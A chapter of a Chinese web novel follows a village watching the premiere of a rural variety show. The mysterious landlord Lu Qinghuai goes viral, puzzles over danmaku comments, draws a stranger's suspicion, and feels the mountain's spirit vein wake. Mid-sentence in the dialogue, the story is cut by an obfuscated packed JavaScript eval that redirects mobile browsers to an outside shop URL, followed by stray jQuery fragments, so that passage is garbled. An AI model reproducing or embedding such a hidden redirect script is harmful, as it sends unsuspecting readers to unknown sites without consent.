周五这天，全村都有点心不在焉。
李婶家的晚饭比平时早了一个钟头，王大爷破天荒没在棋盘上耗着，小满丫丫几个小孩放了学，书包往家里一扔就往陆清槐院门口跑，边跑边喊："演了吗演了吗？"
"没演呢，八点。"陶陶搬着小板凳出来，比他们还紧张，"太阳还没落山！"
院坝里早布置好了。白布还是那块白布，投影仪还是那台投影仪，长桌从院门口一直摆到了槐树下。陈伯老两口被周建国亲自搀到主位，李婶王大爷坐了一排，连镇上民宿住的两拨客人都打听着摸了过来，苏晚大手一挥："搬凳子，都坐得下。"
方驰从下午就不对劲。
他换了三身衣服。
"你干嘛呢？"江苓嗑着瓜子看他，"今晚你是要看电视，不是上电视。"
"万一呢？"方驰对着手机镜头捋头发，"万一镜头扫到观众席——不对，没有观众席。"他颓然坐下，两秒后又弹起来，"不是，江苓，你说我在第一期里，到底是个什么形象？"
"你想要什么形象？"
"至少……帅一点吧？"
江苓想了想，很诚实地说："预告里你有三段，生火冒烟、拍蒜蒜飞、劈柴差点劈脚。第一期估计也差不多。"
方驰缓缓地、缓缓地把脸埋进了手心。
陆清槐一直在灶屋忙。快八点的时候，他端着个大笸箩出来，往长桌中间一放——
野猕猴桃。
捂了整整八天，指头肚大的果子捂软了，捂出一层淡淡的酒香，青皮微微发皱，剥开一个，碧绿的瓤，蜜汁顺着指缝往下淌。
"都尝尝。"他说，"后坡摘的，捂软了。"
陶陶第一个拿，咬了一口，眼睛瞪圆："好甜！！清槐哥这是猕猴桃？我吃过的猕猴桃不是这个味儿——"
"野生的，个儿小。"陆清槐自己剥着一个，"晒够了太阳，甜。"
陈伯拿了一个，剥得慢悠悠的，尝了一瓣，点点头："这味儿正。我还是你这么大的时候，在后坡吃过一回。"
"陈伯您慢点说，"方驰举着个猕猴桃凑过去，"您这话有歧义，他看着比我小。"
满桌子笑。周建国一巴掌把方驰脑袋按回去："吃你的。"
八点差一分。院子里安静下来，二三十口人，小孩不闹了，狗都趴好了。大黄卧在陆清槐脚边，橘座蹲在墙头上，尾巴一甩一甩。
八点整，白布亮了。
片头音乐一起来，陶陶先"呀"了一声——航拍镜头从云里压下来，晨雾一层层散开，露出山坳里的村子，一条河，一片稻田，院子的烟囱冒着烟。
正片第一幕：车队进村。
白色面包车在土路上颠，扬起一路尘土，车上一张张脸贴在车窗上往外看。弹幕安安静静飘着，还在热场——
"来了来了来了，电子榨菜就位"
"周老师！沈眉姐！！"
"这村子也太偏了吧，这路我看着都晕车"
然后车停了。二十多个人呼啦啦下车，扛灯的扛灯，搬箱子的搬箱子，鸡飞狗跳。弹幕开始加速——
"等等，那个站在院门口的是谁"
"房东？这房东长得……？？？"
"我以为是哪个嘉宾，结果字幕打了'房东'两个字？？"
镜头里的陆清槐靠在门框上，抱着胳膊看他们搬东西，神色平静得像在看一场跟自己无关的热闹。
"这哥看搬家大队的眼神，像房东看租客，又像班主任看新生军训"
方驰在白布底下小声哀嚎："这段我记得！我当时搬灯架，差点砸他脚上——"
"你砸了吗？"陶陶问。
"没有！我紧急转弯，灯架砸我自己脚了！"
"……"
镜头一转，无人机。
航拍员蹲在车边换电池，陆清槐仰着脸看那架飞机，看了半天，问："能让我试试吗？"
遥控器递过去，他两只手拿着看了两秒，左手推了一格——
飞机"嗡"地起来，稳稳当当悬在半空，然后他右手一拨，无人机划出一道漂亮的弧线，贴着山脊飞了个来回，镜头里的画面稳得像滑轨推的。
白布底下，小赵手里的瓜子撒了一地。
弹幕停了整整两秒，然后炸了：
"？？？？？"
"他不是没玩过吗？？？"
"航拍员递遥控器的手在抖，我理解他"
"这叫没玩过？我管这叫祖师爷赏饭"
"飞手师傅：我就教了一句左手油门，然后就没我事了"
"有没有一种可能，这种飞行器在他出生那年还没有"——这条弹幕飘过，没人当回事。
"哥，"方驰缓缓转头，"无人机你也会？"
"不难。"陆清槐说，"跟放风筝一个道理，风往哪走，它就往哪走。"
"……风往哪走它往哪走。"方驰喃喃重复，冲小赵竖大拇指，"这话必须上热搜，不上热搜对不起它。"
正片继续。试拍第一天，名场面来得猝不及防。
芦花鸡冲出笼子，满院子飞，鸡毛飞得跟下雪似的，两个场务扑空，录音师踩进韭菜垄，灯杆晃三晃——弹幕笑得东倒西歪——
"哈哈哈这群人抓鸡不如鸡"
"灯杆：我当时害怕极了"
然后，菜地边站起来一个人。
他拍拍手上的土，没跑，没急，走两步，蹲下，伸手，就两个字：
"过来。"
墙上那只鸡歪了歪脑袋。
两秒后，它自己飞下来，笃笃笃走过去，把头塞进了他掌心。
弹幕区出现了开播以来第一次集体停顿，然后以翻倍的速度刷过去：
"？？？？？？？"
"鸡：来了老弟"
"这鸡是他雇的吧？？？按天结？"
"前面二十个人抓不住，他两个字，鸡自己投案自首了"
"动物缘天花板，官方认证，谁反对"
"我家猫正趴我腿上，看到这段突然坐直了，它也感觉到了什么"
"我合理怀疑他会说鸡语"
李婶在白布底下拍大腿："这鸡！这鸡我认得！后来在他家院里养着的，见天下蛋！"
"婶，"方驰问，"您就不好奇它怎么那么听他话？"
"这有啥好奇的，"李婶剥着猕猴桃，理直气壮，"我们村的猫狗鸡鸭都听他话。你没见过他叫鱼，河里头的鱼都往他网里钻。"
方驰和小赵对视一眼，默默把这话记下了。
第三段，做饭。
周建国蹲灶前显摆"看见没这叫技术"，下一秒烟倒灌回来呛得直摆手；方驰拍蒜，"啪"一声，蒜飞了，骨碌碌滚到地上，大黄闻了一眼打了个喷嚏；火腿肠下锅，炸成一锅小章鱼。
弹幕已经笑疯了：
"周老师的技术：一秒真传"
"蒜：世界那么大，我想去看看"
"这火腿肠炸得……挺有想象力"
然后镜头里那个人走进灶屋。
他没说话，蹲下去，把湿柴架空，草绳引火，火"腾"一声起来了，稳稳当当。案板上，他刀面侧过来掌根一压，"啪"，蒜头裂成四瓣，蒜衣自己脱落，刀起刀落，蒜末匀匀地码成一堆。整个过程快、准、安静，跟前面两人的兵荒马乱形成了一种近乎残忍的对比。
"前面两个是来渡劫的，这个是来上班的"
"他生火的时候我莫名松了口气，像看到亲妈进了厨房"
"这刀工……我在屏幕前立正了"
"建议节目组给他单独开个吃播，我能看他切菜看一小时"
紧接着是弹幕的滑铁卢。
饭做好了。没有山珍海味，番茄炒蛋、清炒小白菜、拍黄瓜，一桌子素的。镜头扫过嘉宾的脸——方驰嚼着嚼着，筷子停了；沈眉低头扒饭，半天没说话；周建国夹了一筷子白菜，嚼着嚼着，把正要出口的教训咽回去了。
"什么情况？他们怎么都不说话了？"
"素菜？？一个素菜把这群人吃沉默了？？"
"镜头给那个鸡蛋！番茄炒蛋有什么好吃沉默的啊！"
"我不信，除非给我尝一口"
"前面的你不是一个人，我已经在搜这个村子怎么去了"
陶陶在白布底下捂着脸直跺脚："真的！真的那么好吃！我作证！我当时吃了两碗饭！"
"你哪天不吃两碗？"江苓说。
"……那天是三碗。"
数据是苏晚的平板先炸的。
开播十二分钟，实时收视曲线拉出一个近乎垂直的爬升。小赵蹲在她旁边念，嗓子越念越高：
"破1了——破1.5了——苏导，破2了！"小赵嗓子都劈了，"咱们台综艺首播破2，上一回还是六年前！"
"热搜，"负责宣传的小姑娘举着手机，声音发飘，"七个了——#山间的日子首播#爆，#道具鸡自首#爆，#陆清槐#爆——"
"念弹幕，别念数据了。"周建国大手一挥，眼睛却黏在平板上。
陶陶凑在小赵旁边跟着念，念到"鸡：来了老弟"，笑得从小板凳上出溜下去；陈伯看不清弹幕，问李婶那白花花的滚什么呢，李婶说"夸清槐呢"，陈伯"嗯"了一声，重新靠回去，烟袋锅都忘了点。
弹幕已经疯到看不清字，满屏滚动里挑得出来的——
"等等，这哥叫什么？陆清槐？哪个陆哪个清哪个槐？"
"查完回来了：没有经纪公司，没有作品，查无此人"
"我托朋友查了，他连以前的微博都没有，那个一万二粉的号是个把月前才注册的"
"点进去看了他微博，我笑到头掉——'菜。种了。''肉。炖了。''码。有了。'哥你是在向朝廷汇报军情吗"
"考古到一条林野老师个把月前的微博：'跟踪报道，卖菜神仙领身份证，全程严肃得像参加殿试。第一笔到账，他盯着手机说——钱来了。'救命，这人二十来天前才办身份证？？？"
"二十来天前才□□+查无过往+长得不像真人+动物听他的+做饭好吃+无人机无师自通……我先粉为敬，这是什么民间高手隐居文学"
"别瞎猜了，就是山里长大的普通人，别给人添麻烦"
"普通人你给我表演一个叫鸡自首？"
正片到这儿告一段落，字幕浮出"下周见"，紧跟着是片尾花絮——这几天的录制日常快剪，打板栗、炒栗子、村口田埂，一帧一个。
"嫂子！"陶陶突然蹦起来，"嫂子你上镜了！"
花絮里正好放到李婶塞鸡蛋那段——节目组偷拍的村口日常：李婶把鸡蛋往陆清槐怀里塞，他抱着鸡蛋推辞，推了两下没推过，李婶叉着腰说了句什么，字幕打出来："拿着！婶子家鸡下的，香！"
李婶本人在板凳上坐直了，嘴硬："我那天头发都没梳。"手却在围裙上反复擦，"拍得……还行吧？"
"婶儿，您这是全国露脸了。"方驰说。
"露就露，"李婶剥着猕猴桃，声音忽然轻了点，"我们清槐，是该让全国人看看。"
这话一出，长桌上静了一瞬。陈伯磕了磕烟袋锅，没说话，眯着眼瞅白布，瞅了一会儿，哼了一声："拍得还行。就是把他拍白了，不像个种地的。"
"陈伯，那叫打光！"小赵喊。
"打什么光，庄稼人要那么白干什么。"
弹幕还在滚，滚到一段慢镜头：灶膛火光映着一张脸，他蹲在火边扒烤红薯，睫毛上沾了点灰，抬眼的瞬间，镜头推了个近景。
弹幕集体失语三秒，然后：
"我刚才说什么来着，长得不像真人"
"这张脸在山村里种地？？？星探都不上班的吗？"
"他抬眼那一下，我手里的薯片突然就不香了——不对，是我不配吃薯片"
"建议查一下这人是不是从画上走下来的，很急"
"这段我记得！"小周在人群后面喊，"拍的时候苏导在监视器后头倒吸气！"
"我没有。"苏晚面不改色。
"您有！小陈也听见了！"
"扣奖金。"
满院子笑成一片的时候，陆清槐离座了。
他端着空笸箩往灶屋走。大黄的饭点到了，他得给狗拌饭。江苓左右看看，跟了过去，靠在门框上看他鱼汤拌米饭，上面卧半块红薯，拌得认认真真。
白布上的笑闹声一阵阵飘过来。
"清槐哥，"江苓说，"你怎么不看？你上电视了，全国都在看你。"
"看了。"
"你就看了两眼！"
"昨晚看过了。"他说。预告那晚他盯着白布看到完，江苓记得。他手上拌着饭，眼睛往白布那边瞟了一下——满屏弹幕正刷过一屏"哈哈哈"，字滚得比水还快。
"再说，"他把饭盆往地上放，"笑料都是方驰的。"
大黄埋头苦吃。他洗了手，却没走，靠着灶台站着，又往白布那边望了一眼。正片放到烤红薯近景，灶膛火光映着一张脸，弹幕正疯。
他看了一会儿，忽然开口："江苓，白布上那个人，不是我。"
江苓一愣："……啊？那是谁？"
"他在笑。"陆清槐皱着眉，很认真，"烤红薯那天，我没笑。"
"我的哥，"江苓哭笑不得，"那是镜头抓的！你嘴角动了一下，拍出来就像笑了。电视就这么回事，你眨个眼，它都能给你拍成飞眼儿。"
"飞眼儿？"
"……就是，眨一只眼，抛着玩的那种。"
陆清槐低头看了看大黄，又看看白布上那个火光里的自己，像在打量一个陌生人。八百年了，水里、铜镜里、剑刃反光里，他照过无数回自己。头一回，有个"自己"不归他管——他没让它笑，它笑了；他没让全国人看，全国人都在看。
"那白布上滚的那些字，"他又问，"也是人写的？"
"弹幕。看节目的人边看边发。"
"多少人？"
"现在？"江苓掏出手机看了眼收视，咽了口唾沫，"少说……两三千万人在看。"
陆清槐沉默了一会儿。
"两三千万人，"他慢慢地说，"隔着山，隔着水，同一刻，看着同一块布。"
江苓等着他说下句。
"比赶集人多。"他说。
江苓没忍住，"噗"地笑出声。
"还有个事，"陆清槐冲白布抬了抬下巴，"那些字里，有人管我叫'老师'。"
"嗯，网上尊称，都这么叫。"
"我没收过学生。"他挺困惑，"周老师才是老师，人家演了一辈子戏，德高望重。我就种了个地。"
"种地种得好也能叫老师。"江苓说，"现在网上老师多，理发的做饭的都敢叫老师，你这算正牌的。"
他想了想，没接这茬，又问："前几天有条字，说我会说鸡语。"
"弹幕里刷的吧？道具鸡那段。"
"我不会。"他说，"我那天就说了两个字，'过来'。鸡自己听懂的。他们为什么觉得我会说鸡语？"
"那是夸你呢！夸你跟动物亲。"
"夸人为什么要说假话。"
江苓被问住了，张了张嘴，决定从另一个方向救场
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916305|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
："……行，那叫梗。网上说话都这样，真真假假，夸到你头上你接着就完了。"
"梗。"陆清槐把这个字在嘴里过了一遍，点点头，像是记下了一门新学问，"跟'考古'一样。白布上那些字说，在考古我。"
"嗯？"
"我又没死，考什么古。"
江苓笑得蹲下去，半天扶着门框直起腰："哥，你这脑子……你以前到底是从哪儿长出来的。"
"山里。"他答得坦然。
他擦干手，最后问了一个问题：
"对了，电视里那只芦花鸡，下蛋的镜头，下了几个？"
"……"江苓脸上的笑僵住了，"合着我跟你讲了半天弹幕、老师、梗，你最惦记的还是这个？"
"鸡要天天喂。"陆清槐说，"节目拍完就走了，鸡不走。"
江苓看着他，深吸一口气，掏出手机："这话我必须录下来。哥你站那儿别动——算了，你这表情，说什么都一样。"
她噼里啪啦发了条微博。九张图：满院子看片的背影、笸箩里的猕猴桃、大黄的饭盆、灶膛火光里那张侧影，最后一张是她的偷拍——陆清槐靠在灶台上，望着白布，眉头微蹙，像在研究什么天大的学问。
配文："全国人民都在看他，他在灶屋研究：①电视里那个人为什么在笑（他没笑）②弹幕是什么③两三千万人为什么管种地的叫老师④'会说鸡语'为什么是夸人。研究完以上四个问题，他问我：电视里那只鸡下了几个蛋。@陆清槐哥，鸡比节目重要，我作证。"
这条微博，后来和那句"桃。软了。"一起，被粉丝供进了置顶。这是后话。
镇上，民宿二楼。
夹克中年人没在院坝。他一个人坐在房间里，笔记本电脑开着，手机架在旁边，屏幕上是同一期节目。
他看得很专注，手边摊着个本子，时不时记两笔。道具鸡那段，他来回拖了三遍进度条；无人机那段，他又拖了两遍；烤红薯近景出来时，他停下笔，看了很久。
手机响了。他接起来，"嗯"了一声，听那头说了一会儿。
"播了。"他说，"比预想的猛。"
又听了一会儿。
"背景我在镇上打听了一圈，二十来天前才办的身份证，之前一片空白。"他望着屏幕里灶膛火光映着的那张脸，慢慢地说，"空白有两种。一种是真没有，一种是……有人替他抹干净了。"
他挂了电话，把本子合上，起身走到窗边。窗户正对着山的方向，黑黢黢的山脊线伏在夜色里。
"种菜种成这样，"他自言自语，"种的是什么菜呢。"
夜渐深，白布上的第一期放到了尾声。
最后一个段落，没有旁白，也没有任务。镜头安安静静扫过这些天的傍晚：沈眉坐在槐树下弹吉他，陶陶蹲在旁边听；大黄趴在桌下打盹；墙头橘座的尾巴一甩一甩。
陆清槐坐在槐树下，手里捏着个手机，正对着屏幕里一只钻纸箱出不来的猫看得入神，嘴角微微翘着。
弹幕慢下来，一条一条飘：
"这院子……我能看一整年"
"他们到底是来录节目的，还是来过日子的"
"山外面卷生卷死，山里面鸡肥猫懒，我哭了"
"这就是我理想中的周五晚上啊"
字幕浮出：山间的日子，慢慢过。
满院子没人说话。小满趴在奶奶腿上睡着了，丫丫还睁着眼。陈伯不知道什么时候醒了，看着白布，烟袋锅早灭了，也没重新点。
"演完了？"他问。
"第一期完了。"周建国说，"下周五还有。"
"哦。"陈伯站起来，背着手往家走，走到门口又回头，冲着灶屋方向喊，"清槐。"
"哎。"
"电视上那鸡，明儿我来看看。"
"成。"
人散了。板凳摞起来，白布收了，嘉宾们陆陆续续回屋。方驰走出去老远，又冲回来，一把抱住陆清槐的肩膀，使劲晃了两下："哥！你火了！你彻底火了！你知道现在多少人想当我嫂子——不是，想当我弟妹——算了！反正你火了！"
"知道了。"陆清槐把他扶正，"去睡吧，你明天还要喂鸡。"
"我喂！我天天喂！"
院里静下来。
陆清槐搬了个小马扎坐在檐下，拿出手机。
江苓教过他，发微博：点加号，写字，点发送。他想了想，打了三个字：
桃。软了。
配图拍了张笸箩的照片，猕猴桃碧绿的瓤，蜜汁晶莹。发送。
他放下手机，准备去睡。
三秒后，手机开始震。
不是一下。是成片成片、没完没了地震，像有人往他手机里倒了一筐蹦跶的蚂蚱。他拿起来一看——那条微博底下，评论正以他眼睛跟不上的速度往上滚，数字"99+"红得发烫。
他盯着看了半天，点开第一条热评：
"哥！！！你终于发微博了！！！你知道我们等你这条等了多久吗！！"
第二条："桃软了是什么意思我不管，我先冲为敬，这个笸箩好有生活气息"
第三条："报数！陆老师粉丝现在多少了？——我点关注的时候是八十七万。"
他翻了翻，没太看懂，退出去看自己的粉丝数。那个数字还在一格一格地跳，跳得他眼花。
"江苓。"他冲屋里喊。
"干嘛——"江苓的声音带着洗漱的含糊。
"这个数，"他举着手机，"是坏了吗？"
江苓探出头来看了一眼，漱口水差点咽下去："……一百万了。哥，你今天开播前，是一万二。"
"哦。"陆清槐看着手机，又看了看黑漆漆的院子，"那……要回吗？"
"回什么？"
"人家评论，不回不礼貌吧。"
江苓漱口水"噗"地喷了。
后半夜，起风了。
山风裹着潮意从沟里漫上来，院门口的槐树叶子翻出一层银白的背。陆清槐躺在床上，听着风，忽然睁开眼。
他感知到雨云正在压过来——不是普通的雨云。水汽里裹着一丝极淡的、熟悉的东西，像干涸很久的河床底下渗出来的第一道水。灵脉。这座山的灵脉，在雨水下来之前，醒了一丝。
他披衣走到檐下。
雨点落下来了，先是一滴两滴，打在瓦上"嗒"地一声，然后连成一片。雨幕里，整座山的呼吸都不一样了，草木在雨里舒展，泥土深处有什么东西在缓缓流动。
他站了一会儿，低头看檐下的积水。
积水里映着半张脸。闪电亮了一瞬——
雨幕、水光、那一瞬极亮的白里，他看见自己鬓角的一缕头发，颜色似乎浅了一线。
像墨里掺进了霜。
他抬手，按住那缕头发。闭上眼，感知向内收，把那一丝被雨气勾出来的波动往回压——往常这是一呼一吸间的事，今天却费了点劲，像按住一根被雨水泡胀的门闩，压下去，又往外顶。他闭着眼，慢慢压，压了很久，那缕白才一寸一寸沉回黑里。
再睁眼时，发色黑得跟夜色一样。他站在檐下听着满院雨声，忽然意识到：不是他压不住了，是这座山，在醒。
远处，工作群里苏晚的语音一条接一条，精神得很："都别睡死了，看群通知！明天雨景！雨打菜园、屋檐听雨、灶屋煮茶，全是好镜头！八点集合，谁迟到谁洗碗——"
陆清槐站在檐下，看着满院的雨。
雨是好雨。菜需要，山需要。
他回屋，从门后拿出一顶旧斗笠，拍了拍灰，放在枕边。
明天，戴帽子。